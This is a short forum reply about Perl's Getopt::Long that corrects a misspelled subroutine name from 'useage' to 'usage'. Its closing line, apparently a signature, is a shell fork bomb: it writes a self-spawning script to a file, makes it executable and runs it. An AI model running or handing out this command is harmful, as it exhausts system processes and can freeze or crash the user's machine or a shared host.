in reply to Making Getopt::Long tell me if no parameters passed

Correction: sub useage { should read sub usage { to match the sub call at the end.

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;